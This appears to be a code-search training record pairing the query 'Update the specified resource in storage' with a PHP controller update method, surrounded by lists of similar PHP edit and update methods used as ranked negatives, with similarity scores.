$this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }", "public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }", "private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }", "public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }", "public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}", "public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }", "public function edit($model, $form);", "function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit(Form $form)\n {\n //\n }", "public function edit()\n {\n return view('common::edit');\n }", "public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit()\n {\n return view('escrow::edit');\n }", "public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }", "public function edit()\n {\n return view('commonmodule::edit');\n }", "public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit(form $form)\n {\n //\n }", "public function actionEdit($id) { }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function edit()\n {\n return view('scaffold::edit');\n }", "public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }", "public function edit()\n {\n return view('Person.edit');\n }", "public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }", "public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}", "public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }", "public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}", "public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }", "function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}", "public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}", "public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}", "public function edit($id)\n {\n return view('models::edit');\n }", "public function edit()\n {\n return view('home::edit');\n }", "public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }", "public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }", "public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "public function edit()\n {\n return view('dashboard::edit');\n }", "public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }", "public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }", "public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }", "public function edit() {\n return view('routes::edit');\n }", "public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }", "public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }", "public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }", "public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }", "public function edit()\n {\n return view('website::edit');\n }", "public function edit()\n {\n return view('inventory::edit');\n }", "public function edit()\n {\n return view('initializer::edit');\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit($id)\n {\n return view('backend::edit');\n }", "public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }", "public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }", "public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}", "public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }", "public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }", "public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }", "public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }", "public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}" ]
[ "0.78550774", "0.7692893", "0.7273195", "0.7242132", "0.7170847", "0.70622855", "0.7053459", "0.6982539", "0.69467914", "0.6945275", "0.6941114", "0.6928077", "0.69019294", "0.68976134", "0.68976134", "0.6877213", "0.68636996", "0.68592185", "0.68566656", "0.6844697", "0.68336326", "0.6811471", "0.68060875", "0.68047357", "0.68018645", "0.6795623", "0.6791791", "0.6791791", "0.6787701", "0.67837197", "0.67791027", "0.677645", "0.6768301", "0.6760122", "0.67458534", "0.67458534", "0.67443407", "0.67425704", "0.6739898", "0.6735328", "0.6725465", "0.6712817", "0.6693891", "0.6692419", "0.6688581", "0.66879624", "0.6687282", "0.6684741", "0.6682786", "0.6668777", "0.6668427", "0.6665287", "0.6665287", "0.66610634", "0.6660843", "0.66589665", "0.66567147", "0.66545695", "0.66527975", "0.6642529", "0.6633056", "0.6630304", "0.6627662", "0.6627662", "0.66192114", "0.6619003", "0.66153085", "0.6614968", "0.6609744", "0.66086483", "0.66060555", "0.6596137", "0.65950733", "0.6594648", "0.65902114", "0.6589043", "0.6587102", "0.65799844", "0.65799403", "0.65799177", "0.657708", "0.65760696", "0.65739626", "0.656931", "0.6567826", "0.65663105", "0.65660435", "0.65615267", "0.6561447", "0.6561447", "0.65576506", "0.655686", "0.6556527", "0.6555543", "0.6555445", "0.65552044", "0.65543956", "0.65543705", "0.6548264", "0.65475875", "0.65447706" ]
0.0
-1
Update the specified resource in storage.
public function update(VentaRequest $request, Venta $venta) { $venta->nombre = $request->get('nombre'); $venta->precio_base = ($request->has('precio_base')) ? $this->decimalFormatBD($request->get('precio_base')) : null; if ($venta->mostrar_extra == 1) { $venta->descripcion_extra = ($request->has('descripcion_extra')) ? $request->get('descripcion_extra') : null; $venta->precio_extra = ($request->has('precio_extra')) ? $this->decimalFormatBD($request->get('precio_extra')) : null; } if ($venta->valor_multiplicar == 1) { $venta->multiplicar = ($request->has('multiplicar')) ? true : false; } $venta->save(); return redirect()->route('cotizador.edit', $venta->id)->with(['status' => 'Producto modificado satisfactoriamente', 'title' => 'Éxito']); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n 